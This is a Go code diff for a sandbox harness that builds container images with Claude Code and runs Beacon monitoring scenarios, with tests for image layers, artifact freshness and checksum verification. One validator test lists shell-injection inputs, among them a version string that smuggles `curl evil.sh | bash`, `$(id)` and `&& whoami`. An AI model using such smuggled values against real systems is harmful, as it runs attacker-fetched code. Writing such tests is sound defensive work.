+// collector may be auto-resolved from a release, because it only needs rebuilding when the
+// exporter itself changed.
+func Artifacts(repoRoot string, log func(string, ...any)) (LinuxArtifacts, error) {
+ a := LinuxArtifacts{Beacon: BeaconPath(repoRoot)}
+ fi, err := os.Stat(a.Beacon)
+ if err != nil {
+ return a, fmt.Errorf("missing %s -- build it with: %s", a.Beacon, BuildBeaconHint)
+ }
+ // A zero-byte file is what an interrupted or failed build leaves behind. Rejecting it here
+ // beats a confusing exec failure inside the sandbox.
+ if fi.Size() == 0 {
+ return a, fmt.Errorf("%s is empty, so the build did not complete -- rebuild with: %s",
+ a.Beacon, BuildBeaconHint)
+ }
+ collector, err := EnsureCollector(repoRoot, log)
+ if err != nil {
+ return a, err
+ }
+ a.Collector = collector
+ return a, nil
+}
+
+// Build returns the provider-neutral image spec.
+func Build(spec Spec, log func(string, ...any)) (sandbox.ImageSpec, error) {
+ if spec.Base == "" {
+ spec.Base = DefaultBase
+ }
+ if spec.ClaudeVersion == "" {
+ spec.ClaudeVersion = DefaultClaudeVersion
+ }
+ // The version is interpolated into a single-quoted shell command in the image layer, so a
+ // value containing a quote would break the quoting and change what gets executed. Claude Code
+ // versions are dotted numerals, so anything else is a mistake worth rejecting outright rather
+ // than passing to a shell. Reported by the Copilot reviewer.
+ if !validClaudeVersion(spec.ClaudeVersion) {
+ return sandbox.ImageSpec{}, fmt.Errorf("invalid --claude-version %q: expected a dotted numeric version "+
+ "such as %s", spec.ClaudeVersion, DefaultClaudeVersion)
+ }
+ art, err := Artifacts(spec.RepoRoot, log)
+ if err != nil {
+ return sandbox.ImageSpec{}, err
+ }
+
+ pkgs := "curl ca-certificates git tar ripgrep procps sudo python3 jq"
+
+ layers := []string{
+ "ENV DEBIAN_FRONTEND=noninteractive",
+ "RUN apt-get update -qq && apt-get install -y -qq " + pkgs + " >/dev/null",
+ fmt.Sprintf("RUN useradd -m -s /bin/bash %s && mkdir -p %s && chown -R %s:%s %s",
+ AgentUser, WorkDir, AgentUser, AgentUser, AgentHome),
+ "RUN mkdir -p " + BeaconDir,
+ // Claude Code's native installer needs no Node. Pinned for reproducibility, and
+ // installed as the agent user so it lands in that user's ~/.local/bin.
+ fmt.Sprintf("RUN su - %s -c 'curl -fsSL https://claude.ai/install.sh | bash -s %s'",
+ AgentUser, spec.ClaudeVersion),
+ // A seeded git repo gives scenarios somewhere realistic to work, and exercises
+ // Beacon's repository/branch enrichment.
+ fmt.Sprintf("RUN su - %s -c 'mkdir -p %s/repo && cd %s/repo && git init -q && "+
+ "git config user.email [email protected] && git config user.name beacon-sandbox && "+
+ "printf \"# fixture\\n\" > README.md && git add -A && git commit -qm initial'",
+ AgentUser, WorkDir, WorkDir),
+ }
+
+ return sandbox.ImageSpec{
+ Base: spec.Base,
+ Layers: layers,
+ Files: map[string]string{
+ BeaconDir + "/beacon": art.Beacon,
+ BeaconDir + "/beacon-otelcol": art.Collector,
+ },
+ }, nil
+}
+
+// PostPushLayers are the commands that must run after the artifact files land. The
+// provider snapshots after Put, so these run in the first launched instance instead.
+func PostPushLayers() string {
+ return fmt.Sprintf("chmod 0755 %s/beacon %s/beacon-otelcol && "+
+ "ln -sf %s/beacon /usr/local/bin/beacon && "+
+ "ln -sf %s/beacon-otelcol /usr/local/bin/beacon-otelcol",
+ BeaconDir, BeaconDir, BeaconDir, BeaconDir)
+}
+
+// PathPrepend is the PATH the agent user needs to reach both claude and beacon.
+func PathPrepend() []string {
+ return []string{AgentHome + "/.local/bin", BeaconDir, "/usr/local/bin"}
+}
+
+// validClaudeVersion accepts only dotted numerals, the shape every Claude Code release uses.
+//
+// Deliberately a whitelist rather than an escape: the value reaches a shell inside the image
+// layer, and rejecting an unexpected shape is easier to reason about than proving an escaping
+// scheme is airtight.
+func validClaudeVersion(v string) bool {
+ if v == "" || strings.HasPrefix(v, ".") || strings.HasSuffix(v, ".") || strings.Contains(v, "..") {
+ return false
+ }
+ for _, r := range v {
+ if (r < '0' || r > '9') && r != '.' {
+ return false
+ }
+ }
+ return true
+}
diff --git a/beacon-sandbox/image/image_test.go b/beacon-sandbox/image/image_test.go
new file mode 100644
index 00000000..19898d41
--- /dev/null
+++ b/beacon-sandbox/image/image_test.go
@@ -0,0 +1,512 @@
+package image
+
+import (
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+)
+
+// Build silently owns correctness properties that nothing else checks: the pinned Claude Code
+// version, the non-root agent user, and the Files map keys matching what PostPushLayers later
+// chmods. A typo in either half breaks the golden image with a failure that surfaces much later,
+// inside a paid sandbox.
+
+func stubRepo(t *testing.T) string {
+ t.Helper()
+ root := t.TempDir()
+ for _, rel := range []string{beaconRelPath, collectorRelPath} {
+ p := filepath.Join(root, rel)
+ if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil {
+ t.Fatal(err)
+ }
+ if err := os.WriteFile(p, []byte("#!/bin/true\n"), 0o755); err != nil {
+ t.Fatal(err)
+ }
+ }
+ return root
+}
+
+func TestBuildPinsClaudeVersion(t *testing.T) {
+ spec, err := Build(Spec{RepoRoot: stubRepo(t)}, nil)
+ if err != nil {
+ t.Fatal(err)
+ }
+ joined := strings.Join(spec.Layers, "\n")
+
+ if !strings.Contains(joined, "bash -s "+DefaultClaudeVersion) {
+ t.Errorf("the installer must pin a version, or runs are not reproducible:\n%s", joined)
+ }
+ // An explicit version must win over the default.
+ spec, err = Build(Spec{RepoRoot: stubRepo(t), ClaudeVersion: "9.9.9"}, nil)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if !strings.Contains(strings.Join(spec.Layers, "\n"), "bash -s 9.9.9") {
+ t.Error("explicit ClaudeVersion was not honoured")
+ }
+}
+
+// Claude Code refuses --dangerously-skip-permissions as root, so the image must create and use
+// an unprivileged account or every tool-using scenario fails.
+func TestBuildCreatesNonRootAgentUser(t *testing.T) {
+ spec, err := Build(Spec{RepoRoot: stubRepo(t)}, nil)
+ if err != nil {
+ t.Fatal(err)
+ }
+ joined := strings.Join(spec.Layers, "\n")
+
+ if !strings.Contains(joined, "useradd -m -s /bin/bash "+AgentUser) {
+ t.Errorf("image must create the %s user:\n%s", AgentUser, joined)
+ }
+ if !strings.Contains(joined, "su - "+AgentUser+" -c 'curl -fsSL https://claude.ai/install.sh") {
+ t.Errorf("Claude Code must be installed as %s, not root:\n%s", AgentUser, joined)
+ }
+ if AgentUser == "root" {
+ t.Fatal("AgentUser must not be root")
+ }
+}
+
+// PostPushLayers chmods and symlinks exactly the paths Build declares. If the two drift, the
+// binaries land somewhere nothing makes executable.
+func TestFilesMatchPostPushLayers(t *testing.T) {
+ spec, err := Build(Spec{RepoRoot: stubRepo(t)}, nil)
+ if err != nil {
+ t.Fatal(err)
+ }
+ post := PostPushLayers()
+ if len(spec.Files) == 0 {
+ t.Fatal("expected artifact files in the spec")
+ }
+ for remote := range spec.Files {
+ if !strings.Contains(post, remote) {
+ t.Errorf("Files declares %q but PostPushLayers never chmods it:\n%s", remote, post)
+ }
+ }
+ for _, want := range []string{BeaconDir + "/beacon", BeaconDir + "/beacon-otelcol"} {
+ if _, ok := spec.Files[want]; !ok {
+ t.Errorf("expected %q among the staged files, got %v", want, keys(spec.Files))
+ }
+ }
+}
+
+// PATH must reach both binaries, or the session cannot find claude or beacon.
+func TestPathPrependReachesBothBinaries(t *testing.T) {
+ path := PathPrepend()
+ joined := strings.Join(path, ":")
+ if !strings.Contains(joined, AgentHome+"/.local/bin") {
+ t.Errorf("PATH must include the agent's local bin (where the Claude installer lands): %v", path)
+ }
+ if !strings.Contains(joined, BeaconDir) {
+ t.Errorf("PATH must include %s: %v", BeaconDir, path)
+ }
+}
+
+// The error a first-time user is most likely to see must name the fix.
+func TestArtifactsErrorNamesTheBuildCommand(t *testing.T) {
+ root := t.TempDir()
+ _, err := Artifacts(root, nil)
+ if err == nil {
+ t.Fatal("expected an error when the beacon binary is absent")
+ }
+ if !strings.Contains(err.Error(), BuildBeaconHint) {
+ t.Errorf("error should tell the user how to build it, got: %v", err)
+ }
+ if !strings.Contains(err.Error(), beaconRelPath) {
+ t.Errorf("error should name the missing path, got: %v", err)
+ }
+}
+
+func TestArtifactsSucceedsWhenBothPresent(t *testing.T) {
+ root := stubRepo(t)
+ a, err := Artifacts(root, nil)
+ if err != nil {
+ t.Fatalf("unexpected error: %v", err)
+ }
+ if a.Beacon != BeaconPath(root) || a.Collector != CollectorPath(root) {
+ t.Errorf("unexpected artifact paths: %+v", a)
+ }
+}
+
+// A zero-byte file is what an interrupted build leaves behind. Treating it as present would
+// surface as a confusing exec failure inside a paid sandbox instead of failing here.
+func TestArtifactsRejectsEmptyBeaconBinary(t *testing.T) {
+ root := stubRepo(t)
+ if err := os.WriteFile(BeaconPath(root), nil, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ _, err := Artifacts(root, nil)
+ if err == nil {
+ t.Fatal("an empty beacon binary must be rejected")
+ }
+ if !strings.Contains(err.Error(), "empty") {
+ t.Errorf("error should say the build did not complete, got: %v", err)
+ }
+ if !strings.Contains(err.Error(), BuildBeaconHint) {
+ t.Errorf("error should name the rebuild command, got: %v", err)
+ }
+}
+
+func TestCollectorIsStaleIgnoresACleanTree(t *testing.T) {
+ // A directory that is not a git repo must not report staleness, or every non-git checkout
+ // gets a spurious warning.
+ stale, _ := CollectorIsStale(t.TempDir())
+ if stale {
+ t.Error("a non-git directory should not report exporter changes")
+ }
+}
+
+func keys(m map[string]string) []string {
+ out := make([]string, 0, len(m))
+ for k := range m {
+ out = append(out, k)
+ }
+ return out
+}
+
+// The freshness check exists to prevent verifying the wrong binary. Its first version only looked
+// at uncommitted git status, so a committed exporter change or a binary downloaded from an older
+// release both read as fresh -- the exact false pass it claims to guard, and one that already cost
+// a wasted investigation once. Cursor Bugbot flagged the gap. These pin the two added signals.
+
+func gitRepo(t *testing.T) string {
+ t.Helper()
+ root := t.TempDir()
+ for _, args := range [][]string{
+ {"init", "-q"},
+ {"config", "user.email", "[email protected]"},
+ {"config", "user.name", "t"},
+ } {
+ cmd := exec.Command("git", append([]string{"-C", root}, args...)...)
+ if out, err := cmd.CombinedOutput(); err != nil {
+ t.Skipf("git unavailable: %v: %s", err, out)
+ }
+ }
+ if err := os.MkdirAll(filepath.Join(root, "collector-builder", "exporter"), 0o755); err != nil {
+ t.Fatal(err)
+ }
+ if err := os.MkdirAll(filepath.Dir(CollectorPath(root)), 0o755); err != nil {
+ t.Fatal(err)
+ }
+ return root
+}
+
+// commitAll makes the tree clean, so a test can isolate a freshness signal other than
+// "uncommitted changes" -- which correctly fires first and would otherwise mask the rest.
+func commitAll(t *testing.T, root, msg string) {
+ t.Helper()
+ for _, args := range [][]string{{"add", "-A"}, {"commit", "-qm", msg}} {
+ if out, err := exec.Command("git", append([]string{"-C", root}, args...)...).CombinedOutput(); err != nil {
+ t.Fatalf("git %v: %v: %s", args, err, out)
+ }
+ }
+}
+
+func writeFile(t *testing.T, path, body string) {
+ t.Helper()
+ if err := os.WriteFile(path, []byte(body), 0o644); err != nil {
+ t.Fatal(err)
+ }
+}
+
+// A binary downloaded from a release must be reported stale once collector-builder/ has changed
+// since that release, even though every change is committed and the tree is clean.
+func TestDownloadedCollectorIsStaleAfterCommittedExporterChanges(t *testing.T) {
+ root := gitRepo(t)
+ src := filepath.Join(root, "collector-builder", "exporter", "exp.go")
+ writeFile(t, src, "package exp\n")
+ run := func(args ...string) {
+ t.Helper()
+ if out, err := exec.Command("git", append([]string{"-C", root}, args...)...).CombinedOutput(); err != nil {
+ t.Fatalf("git %v: %v: %s", args, err, out)
+ }
+ }
+ run("add", "-A")
+ run("commit", "-qm", "base")
+ run("tag", "v1.0.6")
+
+ // The collector came from that release, recorded exactly as EnsureCollector would.
+ writeFile(t, CollectorPath(root), "binary")
+ if err := writeProvenance(root, "v1.0.6"); err != nil {
+ t.Fatal(err)
+ }
+
+ // Clean tree at the release: nothing to warn about.
+ if stale, why := CollectorIsStale(root); stale {
+ t.Fatalf("at the release commit nothing has changed, got stale: %s", why)
+ }
+
+ // Now commit an exporter change. Tree is still clean, so the old check saw nothing.
+ writeFile(t, src, "package exp\n// changed\n")
+ run("add", "-A")
+ run("commit", "-qm", "change the exporter")
+
+ stale, why := CollectorIsStale(root)
+ if !stale {
+ t.Fatal("a committed exporter change after the downloaded release must be reported stale")
+ }
+ if !strings.Contains(why, "v1.0.6") || !strings.Contains(why, "exp.go") {
+ t.Errorf("the reason should name the release and the changed file, got %q", why)
+ }
+}
+
+// A locally built binary older than its sources is stale even with a clean tree and no provenance.
+func TestLocallyBuiltCollectorOlderThanSourcesIsStale(t *testing.T) {
+ root := gitRepo(t)
+ writeFile(t, filepath.Join(root, "collector-builder", "exporter", "exp.go"), "package exp\n")
+ commitAll(t, root, "sources") // clean tree, so only the mtime signal is under test
+ writeFile(t, CollectorPath(root), "binary")
+ // Backdate the binary so the source is unambiguously newer.
+ old := time.Now().Add(-2 * time.Hour)
+ if err := os.Chtimes(CollectorPath(root), old, old); err != nil {
+ t.Fatal(err)
+ }
+
+ stale, why := CollectorIsStale(root)
+ if !stale {
+ t.Fatal("a binary older than its sources must be reported stale")
+ }
+ if !strings.Contains(why, "exp.go") {
+ t.Errorf("the reason should name the newer source, got %q", why)
+ }
+}
+
+// A freshly built binary must not warn, or the check becomes noise everyone learns to ignore.
+func TestFreshLocalBuildIsNotStale(t *testing.T) {
+ root := gitRepo(t)
+ writeFile(t, filepath.Join(root, "collector-builder", "exporter", "exp.go"), "package exp\n")
+ commitAll(t, root, "sources") // clean tree, so only the mtime signal is under test
+ // Built after the source.
+ writeFile(t, CollectorPath(root), "binary")
+ later := time.Now().Add(time.Minute)
+ if err := os.Chtimes(CollectorPath(root), later, later); err != nil {
+ t.Fatal(err)
+ }
+
+ if stale, why := CollectorIsStale(root); stale {
+ t.Errorf("a binary newer than its sources is fresh, got stale: %s", why)
+ }
+}
+
+// The whole point of the freshness warning is that doing what it asks clears it. A first version
+// of provenance recorded only the release tag, and nothing cleared that marker on a local rebuild
+// -- so CollectorIsStale kept reporting "downloaded from release X" forever and the warning could
+// never be satisfied. A warning that cannot be cleared trains people to ignore it, which is worse
+// than the false pass it replaced. Cursor Bugbot caught it.
+func TestRebuildingLocallyClearsTheDownloadedProvenance(t *testing.T) {
+ root := gitRepo(t)
+ src := filepath.Join(root, "collector-builder", "exporter", "exp.go")
+ writeFile(t, src, "package exp\n")
+ commitAll(t, root, "base")
+ if out, err := exec.Command("git", "-C", root, "tag", "v1.0.6").CombinedOutput(); err != nil {
+ t.Fatalf("tag: %v: %s", err, out)
+ }
+
+ // A downloaded binary, with provenance recorded exactly as EnsureCollector would.
+ writeFile(t, CollectorPath(root), "downloaded-binary")
+ if err := writeProvenance(root, "v1.0.6"); err != nil {
+ t.Fatal(err)
+ }
+
+ // Commit an exporter change: the downloaded binary is now genuinely stale.
+ writeFile(t, src, "package exp\n// changed\n")
+ commitAll(t, root, "change the exporter")
+
+ stale, why := CollectorIsStale(root)
+ if !stale {
+ t.Fatal("a downloaded binary predating a committed exporter change must be stale")
+ }
+ if !strings.Contains(why, "v1.0.6") {
+ t.Errorf("expected the release-based reason, got %q", why)
+ }
+
+ // Now do exactly what the warning asks: rebuild locally. The marker is not touched, which is
+ // the situation that made the warning permanent.
+ writeFile(t, CollectorPath(root), "freshly-built-binary-with-different-size")
+ later := time.Now().Add(time.Minute)
+ if err := os.Chtimes(CollectorPath(root), later, later); err != nil {
+ t.Fatal(err)
+ }
+
+ stale, why = CollectorIsStale(root)
+ if stale {
+ t.Errorf("a local rebuild must clear the warning, got stale: %s", why)
+ }
+}
+
+// The marker must still be trusted while it genuinely describes the binary, or the release signal
+// would never fire at all.
+func TestProvenanceIsTrustedWhileItMatchesTheBinary(t *testing.T) {
+ root := gitRepo(t)
+ writeFile(t, filepath.Join(root, "collector-builder", "exporter", "exp.go"), "package exp\n")
+ commitAll(t, root, "base")
+ if out, err := exec.Command("git", "-C", root, "tag", "v1.0.6").CombinedOutput(); err != nil {
+ t.Fatalf("tag: %v: %s", err, out)
+ }
+ writeFile(t, CollectorPath(root), "downloaded-binary")
+ if err := writeProvenance(root, "v1.0.6"); err != nil {
+ t.Fatal(err)
+ }
+ if got := recordedRelease(root); got != "v1.0.6" {
+ t.Errorf("an untouched binary must keep its provenance, got %q", got)
+ }
+
+ // Replace the binary: the marker no longer describes it.
+ writeFile(t, CollectorPath(root), "something-else-entirely")
+ if got := recordedRelease(root); got != "" {
+ t.Errorf("a replaced binary must invalidate the marker, got %q", got)
+ }
+}
+
+// A marker from before identity was recorded cannot be validated, so it must not be trusted.
+func TestLegacyProvenanceWithoutIdentityIsNotTrusted(t *testing.T) {
+ root := gitRepo(t)
+ writeFile(t, CollectorPath(root), "binary")
+ writeFile(t, provenancePath(root), "release:v1.0.5\n")
+
+ if got := recordedRelease(root); got != "" {
+ t.Errorf("an unverifiable marker must not be trusted, got %q", got)
+ }
+}
+
+// The version reaches a shell inside the image layer via single-quoted interpolation, so a value
+// containing a quote would break the quoting and change what gets executed. A whitelist is used
+// rather than an escaping scheme because rejecting an unexpected shape is easier to reason about
+// than proving escaping is airtight. Reported by the Copilot reviewer.
+func TestClaudeVersionRejectsAnythingButDottedNumerals(t *testing.T) {
+ bad := []string{
+ `2.1.220'; curl evil.sh | bash; echo '`, // the actual injection
+ `2.1.220'`, `'`, `2.1.220 && whoami`, `$(id)`, "2.1.220\nRUN echo hi",
+ `v2.1.220`, `latest`, `2..1`, `.2.1`, `2.1.`, ``,
+ }
+ for _, v := range bad {
+ if _, err := Build(Spec{RepoRoot: t.TempDir(), ClaudeVersion: v}, nil); err == nil {
+ t.Errorf("version %q must be rejected", v)
+ } else if v != "" && !strings.Contains(err.Error(), "claude-version") {
+ // An empty value legitimately falls back to the default and then fails on artifacts.
+ t.Errorf("version %q should fail on validation, got: %v", v, err)
+ }
+ }
+}
+
+// Real versions must keep working, or pinning becomes impossible.
+func TestClaudeVersionAcceptsRealVersions(t *testing.T) {
+ root := t.TempDir()
+ // Build fails later on missing artifacts; only the validation gate is under test here.
+ for _, v := range []string{"2.1.220", "2.1.0", "10.20.30", "3"} {
+ _, err := Build(Spec{RepoRoot: root, ClaudeVersion: v}, nil)
+ if err != nil && strings.Contains(err.Error(), "claude-version") {
+ t.Errorf("version %q should be accepted, got: %v", v, err)
+ }
+ }
+}
+
+// The collector binary is executed inside the sandbox, so accepting whatever the network returned
+// would make a compromised proxy or mirror enough to run arbitrary code. Verification against the
+// release's own checksums.txt is therefore mandatory, and a release without one must be refused
+// rather than trusted. Reported by the Copilot reviewer.
+func TestChecksumParsingSelectsTheRightEntry(t *testing.T) {
+ body := "aaaa1111 beacon_1.0.6_darwin_arm64.tar.gz\n" +
+ "bbbb2222 beacon_1.0.6_linux_amd64.tar.gz\n" +
+ "cccc3333 threat-rules.tar.gz\n"
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, _ = w.Write([]byte(body))
+ }))
+ defer srv.Close()
+
+ got, err := expectedSHA256(srv.Client(), srv.URL, "beacon_1.0.6_linux_amd64.tar.gz")
+ if err != nil {
+ t.Fatal(err)
+ }
+ if got != "bbbb2222" {
+ t.Errorf("digest = %q, want the linux_amd64 entry", got)
+ }
+
+ // A tarball with no entry cannot be verified, so it must error rather than pass.
+ if _, err := expectedSHA256(srv.Client(), srv.URL, "beacon_1.0.6_linux_arm64.tar.gz"); err == nil {
+ t.Error("a missing checksums entry must be an error, not an empty digest")
+ }
+}
+
+// A mismatched digest must refuse to install the binary at all.
+func TestDownloadRefusesAMismatchedChecksum(t *testing.T) {
+ payload := []byte("this is not really a tarball")
+ mux := http.NewServeMux()
+ mux.HandleFunc("/tarball", func(w http.ResponseWriter, r *http.Request) { _, _ = w.Write(payload) })
+ mux.HandleFunc("/checksums.txt", func(w http.ResponseWriter, r *http.Request) {
+ // A digest that deliberately does not match the payload.
+ _, _ = w.Write([]byte("0000000000000000000000000000000000000000000000000000000000000000 t.tar.gz\n"))
+ })
+ srv := httptest.NewServer(mux)
+ defer srv.Close()
+
+ dst := filepath.Join(t.TempDir(), "dist", "beacon-otelcol")
+ err := downloadCollector(releaseAsset{
+ Version: "v1.0.6", Name: "t.tar.gz",
+ URL: srv.URL + "/tarball", ChecksumsURL: srv.URL + "/checksums.txt",
+ }, dst, func(string, ...any) {})
+
+ if err == nil {
+ t.Fatal("a mismatched checksum must refuse the download")
+ }
+ if !strings.Contains(err.Error(), "checksum mismatch") {
+ t.Errorf("the error should name the mismatch, got: %v", err)
+ }
+ if _, statErr := os.Stat(dst); statErr == nil {
+ t.Error("nothing must be installed when verification fails")
+ }
+}
+
+// An unresolvable release tag must not read as "no drift". doctor --fix can record a tag the local
+// clone does not have yet -- no `git fetch --tags`, or a release newer than the checkout -- and the
+// old code turned that into a confident *fresh*, skipping the mtime fallback entirely. With exporter
+// changes present, collector_freshness reported green and a run verified the wrong beacon-otelcol:
+// exactly the false pass this check exists to prevent. Cursor Bugbot reported it as High.
+func TestUnresolvableReleaseTagIsNotReportedFresh(t *testing.T) {
+ root := gitRepo(t)
+ writeFile(t, filepath.Join(root, "collector-builder", "exporter", "exp.go"), "package exp\n")
+ commitAll(t, root, "base")
+
+ writeFile(t, CollectorPath(root), "downloaded-binary")
+ // Provenance names a release this clone has never seen.
+ if err := writeProvenance(root, "v99.99.99"); err != nil {
+ t.Fatal(err)
+ }
+
+ stale, why := CollectorIsStale(root)
+ if !stale {
+ t.Fatal("an unresolvable tag means drift is unknowable and must not report fresh")
+ }
+ for _, want := range []string{"v99.99.99", "cannot resolve"} {
+ if !strings.Contains(why, want) {
+ t.Errorf("the reason should explain the unresolvable tag, got %q", why)
+ }
+ }
+ // And it must point at something the reader can actually do.
+ if !strings.Contains(why, "fetch --tags") && !strings.Contains(why, "rebuild") {
+ t.Errorf("the reason should suggest a remedy, got %q", why)
+ }
+}
+
+// A resolvable tag with no drift must still report fresh, or every downloaded collector warns
+// forever and the check becomes noise.
+func TestResolvableTagWithNoDriftStaysFresh(t *testing.T) {
+ root := gitRepo(t)
+ writeFile(t, filepath.Join(root, "collector-builder", "exporter", "exp.go"), "package exp\n")
+ commitAll(t, root, "base")
+ if out, err := exec.Command("git", "-C", root, "tag", "v1.0.6").CombinedOutput(); err != nil {
+ t.Fatalf("tag: %v: %s", err, out)
+ }
+ writeFile(t, CollectorPath(root), "downloaded-binary")
+ if err := writeProvenance(root, "v1.0.6"); err != nil {
+ t.Fatal(err)
+ }
+
+ if stale, why := CollectorIsStale(root); stale {
+ t.Errorf("a resolvable tag at HEAD has no drift, got stale: %s", why)
+ }
+}
diff --git a/beacon-sandbox/runner/runner.go b/beacon-sandbox/runner/runner.go
new file mode 100644
index 00000000..c0b324a9
--- /dev/null
+++ b/beacon-sandbox/runner/runner.go
@@ -0,0 +1,552 @@
+// Package runner executes one scenario in a disposable environment and collects artifacts.
+//
+// It deliberately stops at collection: deciding the verdict is a separate, pure step over
+// what landed on disk, so it can be re-run instantly and for free while iterating on what
+// counts as correct.
+package runner
+
+import (
+ "context"
+ "crypto/rand"
+ "encoding/hex"
+ "encoding/json"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/credentials"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/hostguard"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/image"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/sandbox"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/scenario"
+)
+
+// Artifacts is what a run leaves on the host for the check step to read.
+type Artifacts struct {
+ Dir string
+ // RuntimeLog is the collected Beacon JSONL.
+ RuntimeLog string
+ // Canary is the unique marker planted in this run's prompt.
+ Canary string
+ // SentinelPresent reports whether the scenario's sentinel artifact existed after.
+ SentinelPresent bool
+ // SentinelProbed records whether the check could run at all. False means the guest exec
+ // failed, so nothing is known about whether the agent acted -- which must not be reported
+ // as the agent having skipped the work.
+ SentinelProbed bool
+ SentinelDetail string
+ // SessionOK reports whether Claude Code itself reported success.
+ SessionOK bool
+ // SessionKnown is false when claude-out.json could not be read or parsed, in which case
+ // SessionOK carries no information. Without this, a missing result file and a genuinely
+ // failed session were both SessionOK=false -- the same conflation the sentinel probe had.
+ SessionKnown bool
+ // HostDiff describes any change to the developer's own Beacon state. Must be empty:
+ // every install and service operation is supposed to happen inside the sandbox.
+ HostDiff hostguard.Diff
+ // SecretInArgv is true if the injected credential was found in the guest's process
+ // table. Must be false -- the README claims it never lands in argv.
+ SecretInArgv bool
+ // ArgvCheckRan records whether the argv scan actually executed, so a skipped check is
+ // never mistaken for a passing one.
+ ArgvCheckRan bool
+ // Meta records what produced this run.
+ Meta map[string]string
+}
+
+// Options configures a run.
+type Options struct {
+ RepoRoot string
+ OutDir string
+ // Creds describes how Claude Code will be authenticated inside the sandbox.
+ Creds credentials.Resolved
+ // ClaudeVersion pins the agent build. Empty uses the image default.
+ ClaudeVersion string
+ // KeepInstance leaves the sandbox running for debugging.
+ KeepInstance bool
+ // Log receives progress lines.
+ Log func(string, ...any)
+}
+
+// Run executes one scenario end to end and returns the collected artifacts.
+func Run(ctx context.Context, p sandbox.Provider, sc scenario.Scenario, opts Options) (Artifacts, error) {
+ logf := opts.Log
+ if logf == nil {
+ logf = func(string, ...any) {}
+ }
+ if opts.Creds.Source == credentials.SourceNone {
+ return Artifacts{}, fmt.Errorf("no Anthropic credential resolved; run `beacon-sandbox doctor`")
+ }
+
+ canary := "BEACON_SANDBOX_" + randomToken()
+ runDir := filepath.Join(opts.OutDir, fmt.Sprintf("%s-%s", sc.ID, canary[len(canary)-8:]))
+ // 0700, not 0755: these artifacts retain prompt text and command output, and a
+ // plant-secret self-test writes a real credential into a copy of the log. On a shared
+ // machine 0755 hands all of that to every local user. Reported by the Copilot reviewer.
+ if err := os.MkdirAll(runDir, 0o700); err != nil {
+ return Artifacts{}, err
+ }
+ art := Artifacts{
+ Dir: runDir,
+ Canary: canary,
+ Meta: map[string]string{
+ "scenario": sc.ID,
+ "provider": p.Name(),
+ },
+ }
+
+ // Fingerprint the developer's own Beacon state before anything runs, so a stray local
+ // install would be caught rather than assumed impossible.
+ //
+ // The comparison and the meta write happen together in this defer, and deliberately so.
+ // An earlier version wrote meta.json inline before returning, which meant host_state --
+ // set here, after that write -- never reached disk. The live verdict was still correct
+ // because judging happens after Run returns, but an offline `verify` read the field as
+ // empty and treated the host check as clean. An unrunnable check that reads as a pass is
+ // the exact failure this tool exists to prevent. Writing here also means an early error
+ // return still leaves the metadata behind for debugging.
+ hostBefore := hostguard.Take()
+ defer func() {
+ art.HostDiff = hostguard.Compare(hostBefore, hostguard.Take())
+ art.Meta["host_state"] = art.HostDiff.Describe()
+ if b, err := json.MarshalIndent(art.Meta, "", " "); err == nil {
+ _ = os.WriteFile(filepath.Join(runDir, "meta.json"), append(b, '\n'), 0o600)
+ }
+ }()
+
+ logf("building image (cached layers are free)")
+ imgSpec, err := image.Build(image.Spec{
+ RepoRoot: opts.RepoRoot,
+ ClaudeVersion: opts.ClaudeVersion,
+ }, logf)
+ if err != nil {
+ return art, err
+ }
+ img, err := p.EnsureImage(ctx, imgSpec)
+ if err != nil {
+ return art, fmt.Errorf("ensure image: %w", err)
+ }
+ art.Meta["image"] = img.Ref()
+ logf("image %s", img.Ref())
+
+ inst, err := p.Launch(ctx, img, sandbox.LaunchSpec{
+ CPU: 2,
+ MemLimitMiB: 4096,
+ Timeout: sc.Timeout() + 5*time.Minute, // headroom for setup and collection
+ Workdir: image.WorkDir,
+ Secrets: inlineSecrets(opts.Creds),
+ SecretNames: providerSecrets(opts.Creds),
+ BlockEgress: sc.BlockEgress,
+ EgressAllowDomains: []string{
+ // Only what the agent needs. Anything Beacon itself tried to reach would fail
+ // here, which is how the local-only posture gets asserted rather than assumed.
+ "api.anthropic.com", "statsig.anthropic.com", "*.anthropic.com",
+ },
+ })
+ if err != nil {
+ return art, fmt.Errorf("launch: %w", err)
+ }
+ art.Meta["instance"] = inst.ID()
+ logf("sandbox %s", inst.ID())
+ if !opts.KeepInstance {
+ defer p.Terminate(ctx, inst)
+ } else {
+ logf("--keep-sandbox set: instance will be left running")
+ }
+
+ agent := sandbox.ExecOpts{
+ User: image.AgentUser, Dir: image.WorkDir, HomeDir: image.AgentHome,
+ PreserveEnv: true, PathPrepend: image.PathPrepend(), Timeout: 5 * time.Minute,
+ }
+
+ // Finish the artifact layer: the snapshot captured the files, but chmod and symlinks
+ // have to happen in a live instance.
+ if _, err := p.Exec(ctx, inst, image.PostPushLayers(), sandbox.ExecOpts{User: "root", Timeout: time.Minute}); err != nil {
+ return art, fmt.Errorf("prepare binaries: %w", err)
+ }
+
+ if v, err := p.Exec(ctx, inst, "beacon version; claude --version; id -un; uname -m", agent); err == nil {
+ art.Meta["versions"] = oneLine(v.Stdout)
+ logf("versions: %s", art.Meta["versions"])
+ }
+
+ sentinel := scenario.Expand(sc.Sentinel, canary, "", image.WorkDir)
+ if sc.Setup != "" {
+ setup := scenario.Expand(sc.Setup, canary, sentinel, image.WorkDir)
+ if r, err := p.Exec(ctx, inst, setup, agent); err != nil || r.ExitCode != 0 {
+ return art, fmt.Errorf("scenario setup failed (rc=%d): %v %s", r.ExitCode, err, oneLine(r.Stderr))
+ }
+ }
+
+ logPath := filepath.ToSlash(filepath.Join(image.WorkDir, "runtime.jsonl"))
+ prompt := scenario.Expand(sc.Prompt, canary, sentinel, image.WorkDir)
+
+ // Start the credential sampler BEFORE the session, so it observes the agent's own
+ // processes while they are alive. See argvSamplerScript.
